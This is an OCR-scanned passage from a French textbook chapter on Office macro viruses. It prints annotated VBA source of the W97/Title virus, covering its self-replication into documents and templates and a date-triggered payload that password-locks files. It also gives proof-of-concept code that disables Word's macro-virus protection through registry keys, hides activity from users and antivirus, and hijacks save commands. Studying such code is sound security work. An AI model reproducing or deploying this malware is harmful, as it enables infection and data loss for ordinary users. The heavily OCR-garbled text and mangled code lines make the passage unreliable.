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donnees confidentielles gouvernementales, et ce dans 1'« indifference» la plus totale des antivirus en place (voir a ce propos dans [104, chapitres 2 & 3] pourquoi, d'un point de vue technique, cela est si facile). Pres de trois mois avant ces attaques, des experiences en laboratoire validees ensuite en situation reelle! ont montrc qu'une simple feuille Excel permet d'infiltrer n'importe quel reseau, meme ceux que leur proprietaires croient les mieux proteges. Dans le cas des virus de documents, une telle attaque ciblee, accompagnee d'une ingcnicrie sociale adequate" sera imparable. L'experience montre que ni les antivirus, ni memc les pare-feux, ne sont capables de detecter quoi que ce soit. Seule une prophylaxie de fer permettra peut-etre avec beaucoup de vigilange d'eviter de telles attaques. Ce deficit de perception provient du fait qu'un document est encore trop souvent percu par l'utilisateur comme un fichier inerte, contenant uniquement des donnees. Ces donnees constituent d'ailleurs un composant indirect de l'attaque, via I'ingenierie sociale. Le contenu proprement dit participe a l'attaque et capture l'attention de la future victime tout en abaissant son seuil de vigilance. En outre, cette future victime ne soupconne par la richesse d'execntion sous-jacente dont le but est de procurer une ergonomie, une interoperabilite et une portabilite toujours plus grande. II apparait par consequent necessaire de presenter les mecanismcs algorithmiques des virus de documents et de montrer d'une part que le risque est bien reel et comment il se concretise, et d'autre part de donner des clefs pour analyser un document bureautique suspect. Les techniques virales de documents ne sont algorithmiquement pas differentes des techniques virales classiques. Seule differe leur mise en ceuvre, dans la mesure OU elle s'effectue via des actions legitimes de l'application concernee. C'est la raison pour laquelle, dans ce chapitre, nous presenterons l'algorithmique virale liee aux documents en fonction des differents formats et./ou 1



2



Que le lecteur se rassure, cette experience s'est deroulee sous controle et avec toutes les autorisations nccessaircs, dans le cadre d'un audit actif de reseaux ! L'experience montre d'ailleurs que les echelons hierarchiques les plus eleves sont les plus vulnerables a cette ingenierie et, de la, aces attaques. Outre le sentiment que finalement les regles communes ne s'appliquent pas a eux, ils sont egalement psychologiquement plus facilement manipulables. Imaginez les ravages qu'un document contenant des donnees boursieres et/ou economiques confidentielles d'un concurrent pourrait provoquer. Tout ce qui touche aux aspects renumerations, avantages , honneurs - surtout quand ils concernent les rivaux ou « collegues » de promotion est aussi d'une mortelle efficacite, L'attaauant aui nrofile un tant soit neu sa future victime n'a aue l'embarras du choix!
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applications conccrnes. II n'est malheureusement pas possible ni souhaitable d'etre exhaust.if".



12.2 Les macro-virus Office Nous allons presenter quelques cas illustratifs de l'algorithmique virale liee aux documents bureautiques Microsoft (connus sous le nom de macrovirus). Les principales definitions et concepts (en particulier celui de macros) ont ete presentee dans la section 5.5.1 et ne seront donc pas rappeles ici. Precisons le mode de fonctionnement general de la plupart des macrovirus pour Office. II est resume en figure 12.1. La primo-infection se fait a partir d'un fichier infecte venu de I'exterieur. A l'ouverture, les macros contenues dans ce document sont executees (si aucun mecanisme de prevention et/ou de protection n'est mis en place) puis copiees dans un modele de document, le plus souvent un modele global comme le normal. dot. Une fois ainsi infecte, ce modele global, Iorqu'associe automatiquement au logiciel Word (par defaut c'est le cas pour le fichier normal. dot au minimum), infecte a son tour tout fichier sain ouvert ou cree, propageant ainsi l'infection. Le mecanisme general est donc bien celui d'un virus, avec les mecanismcs classiques de recherche, de copie et eventuellement de charge finale. Notons que ce mecanisme est valide non seulement pour le logiciel Word mais que toutes les applications, a quelques differences pres, sont concernees selon le memc principe. Sans perte de generalites, nous nous limiterons a presenter le cas pour l'application Word. Cette appplication contient un outil par defaut permettant de developper et de manipuler les macros d'un document. II se revelo pratique egalement pour analyser un document potentiellement infecte et identifier la presence de macros malicieuses - quand ces dernieres sont visibles et non protegees par le concepteur du virus, auquel cas une analyse plus poussee est necessaire. Cet outil est le Visual Basic Editor, accessible via le menu Outils -> Macros -> Visual Basic Editor (figure 12.2).



12.2.1 Le virus Title Le virus Concept a ete presente dans la section 5.5.1 et son code commente est disponible sur le CDROM accompagnant cet ouvrage. Nous allons 3



Les cas, encore exotiques, des virus de documents Postscript, lEX par exemple ne seront pas presentes mais l'approche reste algorithmiquement similaire a celle des differents cas nlus renandus. aue nous nresentons dans ce chanitre.
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Normal.dot



Texte



FIG. 12.1. Princioe e:{meral d 'action des m acro- virus (cas Micro soft Office)
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FIG. 12.3. Code du virus W9 7/Titl e sous Visual Basic Editor



1-35 Dim currtemp As Template , Designation des modeles actifs 1-36 Dim code As String , Stockage temporaire de la macro virale sans les premlere et derniere lignes 1-37 For Each currtemp In Templates 1-38 savy = currtemp .Saved 1-39 Set currcomp = currtemp .VBProject .VBComponents .Item(1) La vari able currtemp designe successivement to us les modeles de documents (*. dot) cont enus dans la collection d 'obj ets Templates . Cette collection cont ient les modeles ouverts, les modeles attaches a des do cument s ouverts et les modeles globaux charges dan s la boi te de dialogue Outils -> Modeles et complements. Les op erations d 'infection seront done effectuees sur chaque modele cible. La gest ion de la surinfection est plus deli cate dan s la me sure OU la gest ion des erreurs doit prevenir efficacement t out disfon ctionnem ent susce ptible d 'alerter l'utilisateur. Les do cument s bureau tiaues sont nlus sensibles it
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ces erreurs dans la mesure OU le document en cours d'utilisation en est une instance active.



1-3 If Left(Me.BuiltInDocumentProperties("Title"), 1) 1-4 Me.BuiltInDocumentProperties("Title") = Mid(Me.BuiltInDocumentProperties("Title"), 2) 1-5 Exit Sub 1-6 End If



"?" Then



La variable Me designe l'instance active du document. Ce test a pour but de determiner si dans le document infecte (et donc actif) un caractere « ?» se trouve comme premiere lettre du titre. Cela constitue un marqueur d'erreur dynamique et temporaire. Cela signifie que le document infecte a commence son action de duplication vers des cibles mais qu'une erreur est survenue et que cela ne s'est pas terminc normalement (par exemple, suite a une intervention evcntucllc de l'utilisateur ou l'ouverture concomitante d'un autre document infecte par W97/Title). Alors, dans le cas de la resolution de ce type d'erreurs, avant de sortir de la macro, le titre du document est modifie (suppression du caractere « ? »). Ainsi le document ne sera plus marque en erreur de cette sorte et sera ulterieurement disponible pour infecter a nouveau d'autres documents.



1-7 Me.BuiltInDocumentProperties("Title") Me.BuiltInDocumentProperties("Title")



"?"



&



Dans le cas contraire, le titre du document infecte est marque (ajout au debut du titre du caractere « ? ») et ce dernier commence son travail d'infection. II conservera cet etat jusqu'a la fin de la procedure. La seconde partie de la lutte contre la surinfection est localisee directement dans la procedure d'infection des documents actifs.



1-21 If Not currcomp.CodeModule.Find("wsxzaqedc", 1, 1, 100000, 100000) Then 1-22 If Not currcomp.CodeModule.Find("Document_Close", 1, 1, 100000, 100000) Then 1-23 currcomp.CodeModule.AddFromString thecode.lines(mystart, mylines) Dans cette premiere phase (infection par ajout d'une procedure infectee), si les chaines « wsxzaqedc» ET « Document_Close» (marqueur d'infection double) sont absentes du code cible en cours, alors la procedure infectee Document_Close (contenue dans la variable thecode, voir section 12.2.1) est coniee en fin du code macro (s'i! en existe un ) du document cible en cours.
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Else currcomp.CodeModule.InsertLines currcomp.CodeModule. ProcBodyLine(IDocument_Close", vbext_pk_Proc) + 1, thecode.lines(mystart + 1, mylines - 2) , vbext_pk_Proc designe ici Ie type de l'insertion , a savoir une procedure 1-26 End If 1-27 If savy Then currdoc.Save , Si Ie document n'a pas ete , modifie par l'utilisateur 1-28 End If



1-24 1-25



Dans cette seconde phase (insertion dans une procedure Document_Close deja presente), si la chaine « wsxzaqedc» seule est absente mais qu'une procedure Document_Close existe deja (et s'executant donc a la fermeture du document), le code infecte y est copie au debut. Ainsi le code existant est toujours valide et continue d'etre execute a chaque fermeture du document. Notons que cette facon de proceder n'exclut cependant pas les erreurs et les conflits (voir exercices).



Routine d'infection La routine d'infection est relativement classique par rapport aux autres macro-virus. Elle consiste a copier le code de la macro virale dans les fichiers modeles cibles.



1-8 Dim currdoc As Document , Designation des documents actifs 1-9 Dim thecode As Object , Stockage temporaire du projet VBA du document infecte 1-10 Dim currcomp As Object , Stockage temporaire du projet VBA du , document cible (a infecter) 1-11 Set thecode = Me.VBProject.VBComponents.ltem (Me.CodeName).CodeModule Pour prcparer la copie du code infecte, tout le projet VBA du document infecte (qui contient eventuellement plus de donnees que la seule macro Document_Close) est copie dans la variable thecode. Cela permettra ensuite d'y faire reference lors des infections a venire Toutefois, la copie concernera la procedure virale Document Close seule. II suffit d'indexer le debut du
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code concerne (variable mystart et de calculer l'offset approprie (variable mylines). Cela donne le code suivant.



1-12 Dim lines As Integer, mystart As Integer , Variables de type entier 1-13 mystart = thecode.ProcBodyLine("Document_Close", vbext_pk_Proc) , Calcul du numero de ligne de debut 1-14 mylines = thecode.ProcCountLines("Document_Close", vbext_pk_Proc) - mystart + 1 , Calcul de l'offset en nombre de lignes a , partir de la valeur mystart Dans la suite, le code va gerer la copie du code de manierc furtive et s'assurer que rien ne viendra alerter un utilisateur un tant soit peu suspicieux. La encore, il s'agit de diminuer la virulence du virus pour augmenter sa furtivir.e (voir la section 9.3.1). En effet, si un document est ouvert et modifie par l'utilisateur, alors cela provoquera une demande de sauvegarde des modifications du document par l'application. Or, si l'utilisateur n'a fait aucune modification (acces en lecture seule), alors ces modifications dues au virus sont sauvegardees sans rien demander a l'utilisateur. Ainsi, il n'y a pas de conflit entre les modifications operees par l'utilisateur et celles dues au virus.



1-15 Dim savy As Boolean , Marqueur de sauvegarde , Si savy = 0 Ie document n'est pas sauvegarde sinon savy = 1 1-16 ' Options.VirusProtection = , Option non ctivee par l'auteur du code 1-17 For Each currdoc In Documents La variable currdoc designe successivement tous les autres documents ouverts dans Word (collection d'objets de type « Documents» ). Cette variable permet d'appliquer les operations ci-apres sur chaque document ouvert.



1-18 savy



=



currdoc.Saved



La variable booleenne savy decrit I'etat de sauvegarde du document. S'il y a eu une modification du document, alors cette variable vaut 0 et Word proposera une boite de dialogue de sauvegarde a la fermeture du document. Sinon, le document sera ferme et sauvegarde dans aucune demande a l'utilisateur.



1-19 If currdoc.SaveFormat currdoc.SaveFormat



wdFormatDocument Or wdFormatTemolate Then
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A partir de cette instruction, les operations a suivre ne s'appliqueront qu'aux documents dont la derniere sauvegarde a ete faite sous format *. doc ou *. dot ouverts. Cela permet d'exclure les eventuels fichiers au format *. txt, *.rtf ... qui seraient ouverts sous Word au moment de l'infection (ces documents ne contenant pas de projet YBA, la creation d'une macro engendrerait des erreurs).



1-20 Set currcomp



=



currdoc.VBProject.VBComponents.ltem(1)



La variable currcomp contient la totalite du code macro du document cible (design« par Lt emCl )').



1-27 If savy Then currdoc.Save 1-28 End If Le document est sauvegarde (une fois assurees l'infection par ajout d'une procedure infectee et celIe par insertion dans une procedure Document_Close deja presente) si la variable savy est « vrai »; le code est modifie a l'insu de l'utilisateur. II ne reste plus qu'a infecter les modeles actifs (celle des documents actifs ayant deja ete realisee plus haut, a partir de la ligne 21 du code). Le procede est alors semblable en tous points



1-40 If Not currcomp.CodeModule.Find("wsxzaqedc", 1, 1, 100000, 100000) Then If Not currcomp.CodeModule.Find("Document_Close", 1, 1-41 1, 100000, 100000) Then code = thecode.lines(mystart, mylines) 1-42 currcomp.CodeModule.AddFromString code 1-43 Else 1-44 code = thecode.lines(mystart + 1, mylines - 2) 1-45 currcomp.CodeModule.InsertLines currcomp.CodeModule. 1-46 ProcBodyLine("Document_Close", vbext_pk_Proc) + 1, code 1-47 End If 1-48 If savy Then currtemp.Save 1-49 End If 1-50 Next currtemp Pour terminer, le titre du document est restaure dans son intcgrite (suppression du caractere « ? »), permettant ainsi des infections ulterieures par ce document. Le lecteur aura compris aiscment que cette modification temporaire du titre du document est a I'oriainc du nom de ce macro-virus.
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1-51 Me.BuiltInDocumentProperties(ITitle") Mid(Me.BuiltInDocumentProperties(ITitle"), 2) 1-52 End Sub



Charge finale Elle est liee a une gachette temporelle qui commande, en fonction de la date, les actions offensives a mener. Elle s'execute a chaque infection de documents ouverts (voir la section 12.2.1). Son code est le suivant (lignes 29 a 32).



1-29 If (Day(Now()) = 30 And Month(Now()) = 7) Or (Day(Now()) = 20 And Month(Now()) = 6) Or (Day(Now()) = 3 And Month(Now()) = 5) Then 1-30 currdoc.WritePassword = Str(Int(Rnd() * 10) - 1) 1-31 If savy Then currdoc.Save , Sauvegarde avec chiffrement si la variable "savy" vaut 1 1-32 End If 1-33 End If 1-34 Next currdoc Si la date systeme est un 30 juillet, un 20 juin ou un 3 mai, un mot de passe aleatoire est affecte aux documents actifs et le document est ainsi sauvergarde (done sous forme chiffree}, Le document devient inutilisable pour l'utilisateur a moins de recouvrer le mot de passe.



Structure gener'ale Donnons code.



a present



le code qui met en oeuvre ces diflerentes parties du



1-1 Private Sub Document_Close() , Routine executee a la fermeture du document , infecte. 1-2 On Error Resume Next , En cas d'erreur, Ie programme l'ignore et continue 1-52 End Sub
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Au final, le virus W97/Title est un virus classique, dont le diagramme fonctionnel est similaire a celui de n'importe quel autre virus. Seul differe la gestion de l'environnement propre aux macro-virus. W97/Title est egalement, comme beaucoup de virus classiques, non abouti. II contient en effet un certain nombre d'erreurs algorithmiques et toute la puissance du langage VBA est loin d'avoir ete exploitee. Nous laissons au lecteur le soin d'analyser ces erreurs et de les corriger (voir exercices).



12.2.2 Quelques autres techniques virales Nous allons illustrer les deux principales techniques de lutte anti-antivirale presentees dans la section 5.4.6. Pour cela, nous utiliserons des extraits de code de macro-virus analyses reccmmcnt ou implementes a des fins de preuve de concept dans le cadre d'audit actif d'antivirus et de systemes. Ces codes concernant les versions Microsoft Office 2000; XP et 2003. Precisons que les codes que nous prcsentons ici, sortis de leur contexte reel d'utilisation, doivent normalement etre detectes par tout antivirus digne de ce nom. Ce n'est malheureusement toujours pas le cas dans le cas d'une implementation reelle et operationnelle. Enfin, les techniques non encore detectees a ce jour, quel que soit le mode d'utilisation, ne seront pas donnees pour evitcr leur usage illegal. Notons qu'elles ne different algorithmiquement pas de celles que nous prcsentons ci-apres, ce qui par consequent ne diminue en rien la portce de notre propos, mais reposent sur des fonctionnalites peu ou prou docurnentees, des effets de bords non connus, etc.



Techniques de furtivite Nous avons vu dans la section precedente, avec le virus W97/Title, quelques exemples tres simples de techniques de furtivit.e. Nous allons developper quelques-unes de ces techniques ici. Rappelons que le but est de dissimuler la presence et surtout I'activite en cours du virus non seulement a l'utilisateur mais egalement, et surtout, a l'application et plus largement au systeme. L'action du virus se situera au niveau de l'application elle-rneme mais il est possible de coupler ces mccanismes avec d'autres qui eux interviendront directement au niveau du systeme.



Mesures generiques Tout d'abord, voyons quelques precautions d'usage general que tout macro-virus efficace se doit, d'une manierc ou d'une autre, de mettre en ceuvre.
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- Gestion des erreurs d'execntion des macros. Toute erreur de ce type se traduit par l'affichage d'une fenetre de message indiquant le code de l'erreur et l'emplacement dans le code de la ligne responsable de cette erreur. Par exemple : Erreur de compilation! Membre de methode ou de donnees introuvable! L'insertion en debut de code de la directive On Error Resume Next permet d'eviter la plupart de ces erreurs en passant a l'instruction suivante". L'usage de la directive suivante permet d'augmenter egalement la furt.ivite generique contre les erreurs d'execution : Application.DisplayAlerts = False Gestion de la barre d'etat. Cette barre est presente dans la partie inferieure de l'application Word. Elle contient, entre autres choses, le nombre total de pages, les coordonnees du curseur, l'identificateur de section... Mais surtout, elle affiche la nature des actions en cours, et en particulier les operations de sauvegarde du document ou du modele attache. Or, dans le cadre de I'activitc d'un macro-virus, ces operations sont critiques. En effet, ce dernier va lui-meme effectuer ces actions. II ne faut donc pas qu'elles soient signalees malencontreusement a l'utilisateur. Le virus va proceder de la manierc suivante : On Error Resume Next , Permet d'ignorer certaines erreurs, , Ie code continuant a s'executer'



DSB = Application.DisplayStatusBar , Sauvegarde intermediaire de l'etat d'affichage de , la barre d'etat pour permettre la reconfiguration , initiale Aa la fin de l'infection Application.DisplayStatusBar = False , Desactive l'affichage de la barre d'etat ou , apparaissent des informations sur l'activite du u , programme (enregistrement ... )



Application.DisplayStatusBar 4



= DSB



Dans les autres cas, assez rares mais plus critiques, l'application Word est fermee brutalement aprcs l'affichage d'un message assez inexploitable pour la plupart des utilisateurs. Mais cela correspond egalement a un comportement « normal », en tout cas nercu comme tel. Dour l'utilisateur resizne.
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, Reactivation eventuelle et temporaire de l'affichage , de la barre d'etat pour ne pas eveiller les , soup~ons, si necessaire - La possibilite d'interrompre I'execution d'une macro est rendue possible a l'utilisateur a l'aide de la combinaison de touches Ctrl + Attn. Une protection, pour le macro-virus - surtout si la macro prend du temps pour s'executer'' consiste alors a inclure la directive Application.EnableCancelKey = wdCancelDisabled , Desactivation de l'interruption d'execution , d'une macro au debut du code du macro-virus. - Demande de confirmation de sauvegarde du Normal. dot. Si ce fichier a ete modifie par le macro-virus et non par l'utilisateur, durant une session Word, une confirmation de demande de sauvegarde sera demandee, ce qui est de nature a alerter un utilisateur attentif. La directive Options.SaveNormalPrompt = False pourra etre envisagee. Toutefois, l'usage de cette commande n'est pas conseille. En effet, tout antivirus efficace verifiera que la valeur soit mise a True. II est donc necessaire pour tout macro virus de gerer directement (et non au niveau de l'application) et de manierc exhaustive les etats d'enregistrements des documents et modeles, laissant la valeur a True. - Protection contre les macro-virus (voir egalement la section 12.2.3). Face a la proliferation des macro-virus, la societe Microsoft a inclu, a partir de la suite Office 97, une protection anti-macro-virus. Cette protection consiste a verifier la presence de macros dans un document au moment de son ouverture. Si cela est le cas, une boite de dialogue demande a l'utilisateur de les activer ou de les desactiver. Cette boite de dialogue peut etre contournce de deux maniercs differentes, selon la version de Word: - sous Word 97, la directive Options. VirusProtection = False est utilisee ; - pour les versions ulterieures, il suffit de modifier la base de registres (voir section 12.2.3). Notons que la tentative de modification d'une clef existante n'engendre pas d'erreur, memc si la clef modifies ne 5



Soit parce que le code est important soit de manicre voulue dans le cas de techniques de T-obfuscation f20, 1041·
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correspond pas a la version active de Word (par exemple, modifier une clef XP a partir d'un Word 2000). Le code suivant sera alors rcncontre :



System.PrivateProfileString(" " , "HKEY_CURRENT_USER\ Software\Microsoft\Office\8.0\Word\Options", "EnableMacroVirusProtection") = &HO , Gestion des macros Word 97 System.PrivateProfileString("", "HKEY_CURRENT_USER\ Software\Microsoft\Office\9.0\Word\Security", "Level") = &H1 , Gestion des macros Word 2000 System.PrivateProfileString(" " , "HKEY_CURRENT_USER\ Software\Microsoft\Office\10.0\Word\Security", "Level") = &H1 , Gestion des macros Word XP



Gestion directe des sauvegardes



L'usage de la directive Options. SaveNormalPrompt = False, comme nous l'avons vu precedemment, n'est pas recornmande. II est donc indispensable, pour un macro-virus efficace, de gerer directement les sauvegardes des documents en cours d'infection. D'une manierc generale, dans le cas des virus de documents, et en particulier pour les documents bureautiques de type Microsoft Ofjice ou OpenOfjice, la gestion des sauvegardes est delicate: si les avantages a sauvegarder un document nouvellement infecte sont indeniables, ces avantages sont toutefois confrontes a un certain nombre de problemes comme, par exemple, l'impossibilite de modifier les dates de derniere sauvegarde des fichiers. Un utilisateur attentif pourra en effet remarquer qu'un document a ete modifie a une date posterieure a celle mcmoriscc par cet utilisateur. La propriete DateLastModified d'un fichier est en lecture seule. II n'est donc pas possible de sauvegarder directement des documents. En outre, la date de derniere sauvegarde est un element souvent consulte par les utilisateurs. Une methode consiste, pour le macro-virus a laisser aux utilisateurs le soin de sauvegarder cux-memcs leurs documents nouvellement infectes, La encore, c'est l'application du compromis entre furtivite et virulence (voir section 9.3.2). Ainsi, un document sain, ouvert via un modele infecte, ri'heritera du macro-virus qu'a la condition que son utilisateur sauvegarde luimeme volontairement ce document: la furtivite I'emnorte sur la virulence.
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En revanche, le cas des modeles doit etre traite de manierc differente, D'une part les modeles ne sont pas sauvegardes par les utilisateurs a chaque usage. D'autre part, leur emplacement dans l'arborescence d'un disque dur est toujours assez discrete De ce fait, un utilisateur ne verifiera pas la date de leur derniere sauvegarde comme ille ferait pour un document. La sauvegarde des modeles nouvellement infectes semble donc offrir le meilleur compromis entre la furtivite et la virulence. Ainsi, apres l'infection d'un fichier, les instructions suivantes sont executees :



Select Case Targetldentity Case II ThII (1) Templates(h).Save II AT II Case ThisDocument.AttachedTemplate.Save (1) Case II AD II (2) ActiveDocument.Saved = True End Select Ainsi, via ce bout de code : - La methode Save (directive [1] dans le code) sauvegarde le modele nouvellement infecte. Si d'aventure le modele etait protege en ecriturc (le fichier du modele, et non son projet), aucune erreur n'apparaitrait grace a l'usage initial de la directive On Error Resume Next. Cependant, la sauvegarde n'aurait pas lieu. Ceci n'est pas un obstacle compte tenu du fait qu'a la fin de l'infection, la cible verra sa propriete Saved passee a True (voir plus loin). Dans un tel cas, le modele ne serait pas infecte, ce qui est normal puisque des mesures efficaces ont manifestement ete prises par l'utilisateur. II est important de noter a ce sujet que la propriete ReadOnly d'un document est en lecture seule et ne peut donc pas etre modifiee par I'intermediaire d'instruction en langage VBA. - La propriete Saved (directive [2] dans le code) du document nouvellement infecte (correspondant a I'etat de la sauvegarde, entre « Faite » [ou True] et «Non faite » [ou False]) est forcee a True de sorte que, a la fermeture du document, si celui-ci n'a pas subi d'autres modifications de la part de son utilisateur, la demande de confirmation de fermeture sans sauvegarde ne soit pas posee via la fenetre de dialogue « Voulez vous enregistrer les modifications apportees a Document. doc? », II reste encore un aspect important a gerer : la sauvegarde manuelle de l'utilisateur. Si cette sauvegarde est pratiquee sur un document, l'usage d'une macro principale chiffree (voir section 12.2.2), par exemple, ne mettra pas en dancer le macro-virus. En revanche. la situation est differente s'il s'aait
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d'un modele, puisque cette macro principale est dechiffree lorsqu'il est ouvert (document actif). Pour sauvegarder un modele, l'utilisateur a alors quatre solutions: 1. Sauvegarde via la commande Fichier -> Enregistrer du Visual Basic Editor (VBE) : cette commande n'est accessible qu'a partir du VBE. Toutefois, lorsque l'utilisateur y accede, le code viral d'un macro-virus efficace sera invisible (voir plus loin). Ce cas ne pose donc pas de difficulte, 2. Sauvegarde via la commande Fichier -> Enregistrer sous ... de l'application Word, lorsque l'utilisateur travaille sur un document, mais en choisissant le format de fichier « *.dot» . Dans ce cas, sa macro principale sera une fois de plus chiffree. Sa sauvegarde ne presente donc pas de difficulte particuliere, cette macro principale du modele reste alors chiffree jusqu'a sa prochaine utilisation, ce qui n'est nullement redhibitoire, 3. Sauvegarde par une reponsc affirmative au moment de quitter l'application si le fichier Normal. dot a ete modifie, Ce cas est specifique a ce dernier fichier. Sans acceder au VBE, il peut survenir a la suite de la modification des boutons de la barre de tache par exemple. Si l'utilisateur repond « Qui», le fichier Normal. dot sera sauvegarde dans son etat actuel, c'est-a-dire avec sa macro principale dechiffree, Dans ce cas, il devient vulnerable a tout logiciel antivirus digne de ce nom. Une solution consiste alors en la creation d'une macro automatique predefinie AutoExit (se declenchant donc a la fermeture de l'application). Dans cette macro, la simple verification suivante peut etre :



Sub AutoExit( ) If (ThisDocument = NormalTemplate) And (NormalTemplate.Saved = False) Then Document_Open , L'usage de Document_Open permet de chiffrer , la macro principale End If End Sub Malheureusement, l'application effectue le test de demande de confirmation de sauvegarde du fichier Normal. dot avant I'execution de la procedure AutoExit. De ce fait, si l'utilisateur repond « Qui ». la sauvegarde aura lieu et la condition ci-dessus ne sera pas remplie. II existe d'autres methodes Dour Darer cette limitation. Par exemnle. lorsaue la auestion
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Les virus de documents de la sauvegarde de Normal. dot se pose, l'utilisateur est face a trois eventualites :« Oui s ;« Non »et « Annuler». Les deux dernieres resolvent la difficulte par elles-memes. En revanche, les consequences d'une reponse positive sont incontournables : le fichier Normal. dot sera sauvegarde et l'application ensuite fermee. Ainsi, si a la fermeture de l'application, la derniere modification de Normal. dot remonte a moins de N secondes'', cela signifie que l'utilisateur vient de le sauvegarder (reponse par l'affirmative a la demande de confirmation de sauvegarde). II suffit alors de chiffrer la macro principale et de sauvegarder de nouveau Normal. dot. Le code de la macro AutoExit devient alors :



Sub AutoExit( ) Rem xxx (voir exercice) On Error Resume Next Application.EnableCancelKey = wdCancelDisabled Set CodeNormal = ThisDocument.VBProject.VBComponents(1).CodeModule Set SysFichier = CreateObject(IScripting.FileSystemObject") Set Fichier = SysFichier.getfile(NormalTemplate.FullName) , Les deux lignes precedentes permettent de creer , un objet de type Fichier, necessaire pour utiliser , la fonction DateDiff If DateDiff(ls", Fichier.DateLastModified, Now) < 10 Then , Calcul de la diffA!rence entre la date de derniA!re , modification du Normal.dot et maintenant (Now) en , secondes (avec ici N = 10) For u = 1 To CodeNormal.ProcCountLines(IDocument_Open",\ vbext_pk_Proc) If Left(CodeNormal.Lines(u, 1), 18) =\ "Rem codefinalZ" Then LaLigne1 = CodeNormal.Lines(u, 1) LaLigne2 = Right(LaLigne1, Len(LaLigne1) - 4) CodeNormal.ReplaceLine u, LaLigne2 End If Next u , La boucle sur la variable u permet de retablir la , fonction de chiffrement (macro Document_Open) du , fichier Normal.dot 6



La valeur de Nest definie par l'auteur du macro-virus.
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Document_Open ThisDocument.Save End If End Sub 4. Sauvegarde via les commandes Fichier -> Enregistrer ou Fichier -> Enregistrer sous ... de l'application, et ce lorsque l'utilisateur travaille sur un modele ouvert comme s'il s'agissait d'un document (le document actif est alors un fichier de type *. dot). Toutefois, c'est avant tout un modele et sa macro principale est donc dechiffree, Cette configuration est traitee, par exemple, en creant deux macro usurpatrices FileSave et FileSaveAs. Leur but est simple: il faut chiffrer la macro principale du document actif si celui-ci est un modele, juste avant sa sauvegarde demandee par l'utilisateur. De plus, comme ce document actif est un modele, il est ensuite necessaire de dechiflrer la macro principale afin de rendre de nouveau operationnelles ses autres macros. A priori, ce type doperation ne presente pas de difficulte particuliere, Unc exception de taille toutefois : ces macros usurpatrices de sauvegarde ne s'executent qu'a partir du fichier Normal. dot. De ce fait, les elements de chiffrement du modele a traiter (numeros des lignes a chiffrer, cle et algorithme), exterieures au Normal. dot, ne seront pas connus. II n'est donc pas question d'utiliser l'appel de la macro Document_Open comme cela est fait par exemple dans la procedure AutoExit (voir item precedent). II est donc generalement necessaire d' aller chercher ces elements externes. Une solution simple, parmi d'autres possibles, consiste a creer deux autres macros pour cette tache : - une procedure ValidTest vcrifie que le document actif (qui est donc un modele) est bien infecte et que sa macro principale est bien dechiffree, ces deux conditions etant necessaires pour mener a bien une operation de chiffrement (voir section 12.2.2). - une procedure Cipher_Code qui, selon les parametres qui lui sont passes, chiffre ou dechiffre la macro principale du modele a traiter. Ces procedures ayant ete mises en place, il ne reste plus qu'a composer les macros FileSave et FileSaveAs comme suit :



Private Sub FileSave( ) , Voir l'interet de ce commentaire en exercice Rem xxxx If Right(ActiveDocument.Name, 4) = ".dot" Then , Si Ie modele est infecte et que sa macro , orincioale est en clair
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If ValidTest Then Cipher_Code "Cipher" ActiveDocument.Save , Dechiffrement de la macro principale pour que , Ie virus reprenne la configuration normale d'un , modele Cipher_Code "Decipher" ActiveDocument.Saved = True Else , Tous les "Else" suivants servent a simplement , enregistrer Ie document actif, selon la demande , de l'utilisteur ActiveDocument.Save End If Else ActiveDocument.Save End If , Commentaire de gestion des macros preexist antes Rem No FileSave macro in this project End Sub Notons que, pour cette solution, la presence de la ligne de commentaire Rem No FileSave macro in this proj ect est obligatoire. Elle sert a gerer, comme nous le verrons dans le prochain paragraphe, les eventuelles macros preexistantes,



Private Sub FileSaveAs( ) , Voir l'interet de ce commentaire en exercice Rem xxxx , Seuls les modeles ouverts en tant que tels sont , concernes If Right(ActiveDocument.Name, 4) = ".dot" Then If ValidTest Then , Permet de gerer Ie cas ou l'utilisateur , annule son action Sauvegarde = ActiveDocument.Saved Cipher_Code "Cipher" , Appel de la boite de dialogue predefinie , Enregistrer sous ... With Dialogs(wdDialogFileSaveAs) , La boite de dialo~ue est lancee via
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, la methode Show. Les choix de l'utilisateur , seront donc pris en compte. La valeur -1 , correspond au bouton "OK". If .Show = -1 Then , Le format correspond au type de fichier , choisi (doc, txt, rtf, dot ... ). Seul Ie , cas du type .dot est ici traite , (valeur de la propriete Format = 1) If .Format 1 Then , Fin de la procedure (Ie fichier non-modele , est enregistre chiffre) GoTo FinFSA End If Else , Si l'utilisateur n'enregistre pas ("Annuler") Annuler = True End If End With Cipher_Code "Decipher" If Annuler Then , Retablissement de l'etat de sauvegarde initial , afin de ne alerter l'utilisateur ActiveDocument.Saved = Sauvegarde End If Else Dialogs(wdDialogFileSaveAs).Show End If Else Dialogs(wdDialogFileSaveAs).Show End If FinFSA: , Commentaire de gestion des macros preexist antes Rem No FileSave macro in this project End Sub La gestion directe des sauvegardes par un macro-virus est essentielle mais elle necessite une reflexion prealable particulierement aboutie de la part du concepteur du code. La solution montrce precedemment - une parmi d'autres - montre toute la comnlexite de ces techniaues. Mais d'autres aspects tout
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aussi critiques doivent egalement etre pris en compte comme nous allons maintenant Ie voir.



Gestion des macros preexistanies II est important de rappeler que le YBA est initialement un langage servant a l'automatisation de taches. II est donc essentiel pour un macro-virus de partir du principe que des fichiers cibles sont susceptibles de contenir deja des macros. La plupart des macro-virus, mal concus, ecrasent ces macros preexistantes. Si, d'un cote, ce mode d'action a pour avantage de supprimer tout conflit entre macros de meme nom, en revanche, cela peut se traduire par des disfonctionnements de nature a alerter l'utilisateur le plus naif . II est donc necessaire de mettre en place des mecanismcs permettant de conserver des macros preexist.antes. Une solution simple consiste, pour le macro-virus, a utiliser l'instruction AddFromString pour injecter son propre code dans le projet de sa cible. Cette instruction ins ere le code au debut du module designe. Ainsi, la premiere ligne de ce module sera la premiere ligne du code du macro-virus et toutes les macros preexistantes se retrouvent apres la derniere ligne du code viral. Le module infecte par le macro-virus est toujours le premier, designe par l'objet suivant :



